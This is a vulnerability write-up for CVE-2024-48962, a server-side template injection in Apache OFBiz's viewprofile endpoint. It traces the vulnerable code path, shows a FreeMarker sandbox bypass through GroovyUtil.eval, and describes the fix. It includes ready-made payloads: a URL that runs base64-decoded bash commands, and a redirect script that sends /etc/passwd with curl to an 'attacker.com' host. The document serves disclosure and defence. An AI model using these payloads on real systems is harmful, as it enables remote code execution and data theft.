CVE-2024-48962: SSTI WITH FREEMARKER SANDBOX BYPASS LEADING TO RCE

CVE-2024-48962: From Simple Redirection to RCE via Server-Side Template Injection in Apache OFBiz

CVE Score: 8.9 - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:N/R:U/V:C/RE:H/U:Amber

Research by @sebsrt and @marimoo


TL;DR

We discovered a critical Server-Side Template Injection (SSTI) vulnerability in Apache OFBiz that enables unauthenticated attackers to achieve Remote Code Execution (RCE) by convincing authenticated users to click a malicious link. The vulnerability affects all versions prior to 18.17 and can be exploited through a simple URL parameter injection.

Proof of Concept:

https://target.com/partymgr/control/viewprofile?partyId=${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("\'bash -c {echo,BASE64_COMMAND}|{base64,-d}|bash\'.execute()",null)}

Introduction

Apache OFBiz is an open-source CRM & ERP system built in Java.

This vulnerability (CVE-2024-48962) begins as a simple parameter injection escalates to full RCE through FreeMarker template injection combined with a sandbox bypass leveraging OFBiz's own utility classes.


Technical Deep Dive

Overview

The vulnerability lies within the /partymgr/control/viewprofile endpoint, where the partyId query parameter undergoes processing without adequate sanitization before being passed to FreeMarker template rendering. This allows attackers to inject malicious template syntax that executes server-side.

Tracing the Vulnerable Code Path

Let's trace the execution flow from the initial HTTP request to the vulnerable code execution:

1: Request Routing

When an HTTP request targets /partymgr/control/viewprofile, OFBiz routes it through its controller configuration system:

File: applications/party/webapp/partymgr/WEB-INF/controller.xml

<request-map uri="viewprofile"> <security https="true" auth="true"/> <response name="success" type="view" value="viewprofile"/> </request-map> <view-map name="viewprofile" type="screen" page="component://party/widget/partymgr/PartyScreens.xml#viewprofile"/>

2: Screen Definition Processing

The request maps to a screen definition that extracts and processes the partyId parameter:

File: applications/party/widget/partymgr/PartyScreens.xml

<screen name="viewprofile"> <section> <actions> <set field="partyId" from-field="parameters.partyId"/> <script location="component://party/groovyScripts/party/ViewProfile.groovy"/> </actions> <widgets> <decorator-screen name="CommonPartyDecorator" location="${parameters.mainDecoratorLocation}"> <!-- Content widgets --> </decorator-screen> </widgets> </section> </screen>

3: Parameter Processing

The ViewProfile.groovy script extracts and processes the user-supplied partyId value:

File: applications/party/groovyScripts/party/ViewProfile.groovy

partyId = parameters.partyId ?: parameters.party_id // ... additional processing logic ... context.partyId = partyId // User input flows directly into context

4: Menu Rendering

The CommonPartyDecorator includes navigation menus that consume the partyId parameter:

File: applications/party/widget/partymgr/CommonScreens.xml

<screen name="CommonPartyDecorator"> <section> <actions> <set field="partyId" from-field="parameters.partyId"/> </actions> <widgets> <include-menu name="ProfileTabBar" location="component://party/widget/partymgr/PartyMenus.xml"/> <include-menu name="ProfileSubTabBar" location="component://party/widget/partymgr/PartyMenus.xml"/> </widgets> </section> </screen>

5: The Vulnerable Template Generation

Menu items incorporate the user-controlled partyId as a parameter:

File: applications/party/widget/partymgr/PartyMenus.xml

<menu-item name="viewprofile" title="${uiLabelMap.PartyProfile}"> <link target="viewprofile"> <parameter param-name="partyId"/> <!-- User-controlled value --> </link> </menu-item>

When these menus render, the MacroMenuRenderer.executeMacro() method constructs dynamic FreeMarker templates:

File: framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/macro/MacroMenuRenderer.java

private void executeMacro(Appendable writer, String macroName, Map<String, Object> macroParameters) throws IOException, TemplateException { StringBuilder sb = new StringBuilder("<@"); sb.append(macroName); if (macroParameters != null) { for (Map.Entry<String, Object> parameter : macroParameters.entrySet()) { sb.append(' '); sb.append(parameter.getKey()); sb.append("="); Object value = parameter.getValue(); if (value instanceof String) { sb.append('"'); // Only escapes quotes, not FreeMarker syntax! sb.append(((String) value).replaceAll("\"", "\\\\\"")); sb.append('"'); } else { sb.append(value); } } } sb.append(" />"); // Executes the dynamically constructed template executeMacro(writer, sb.toString()); } private void executeMacro(Appendable writer, String macro) throws IOException, TemplateException { Reader templateReader = new StringReader(macro); Template template = new Template(templateName, templateReader, FreeMarkerWorker.getDefaultOfbizConfig()); environment.include(template); // ⚠️ Template injection occurs here }

Attack Flow Visualization:

When partyId=MALICIOUS_INPUT contains FreeMarker syntax, it becomes embedded in a macro call:

<@renderMenuItemBegin linkStr="/partymgr/control/viewprofile?partyId=MALICIOUS_INPUT" />

For example, if MALICIOUS_INPUT is ${7*7}, the generated template becomes:

<@renderMenuItemBegin linkStr="/partymgr/control/viewprofile?partyId=${7*7}" />

When FreeMarker processes this template, it evaluates ${7*7} as an expression, producing 49 in the output.


Exploitation: Bypassing FreeMarker Sandbox - From Template Injection to RCE

FreeMarker typically operates within a restricted environment, but OFBiz exposes utility classes accessible via the Static hash.

grep -r "static.*eval" --include="*.java" . ./framework/base/src/main/java/org/apache/ofbiz/base/util/GroovyUtil.java: public static Object eval(String expression, Map<String, Object> context) throws CompilationFailedException {

This search revealed GroovyUtil.eval() within the OFBiz framework:

File: framework/base/src/main/java/org/apache/ofbiz/base/util/GroovyUtil.java

public static Object eval(String expression, Map<String, Object> context) throws CompilationFailedException { // ... GroovyShell shell = new GroovyShell(getBinding(context, expression)); Object result = shell.evaluate(StringUtil.convertOperatorSubstitutions(expression)); // ... }

This method provides a direct pathway to execute arbitrary Groovy code, effectively circumventing FreeMarker's security sandbox.

Escalation to Remote Code Execution

Using the GroovyUtil.eval() method, we can achieve various levels of system compromise:

${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("'bash -c {echo,BASE64_COMMAND}|{base64,-d}|bash'.execute()", null)}

Final exploit

An attacker can just craft a page that executes a redirect, and delivers it to an authenticated OFBiz user:

<script> location = 'https://target-ofbiz.com/partymgr/control/viewprofile?partyId=${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("\'curl -X POST -d @/etc/passwd http://attacker.com/exfil\'.execute()", null)}'; </script>

The Fix: Proper Input Sanitization

Apache OFBiz addressed this vulnerability in version 18.17 by implementing comprehensive parameter value encoding before template generation:

File: framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/macro/MacroMenuRenderer.java

// Before: Direct parameter inclusion (vulnerable) sb.append(((String) value).replaceAll("\"", "\\\\\"")); // After: Proper encoding using SimpleEncoder (secure) UtilCodec.SimpleEncoder simpleEncoder = (UtilCodec.SimpleEncoder) context.get("simpleEncoder"); if (simpleEncoder != null) { targetParameters.append(simpleEncoder.encode(parameter.getValue())); } else { targetParameters.append(parameter.getValue()); }

Sebsrt

LOADING...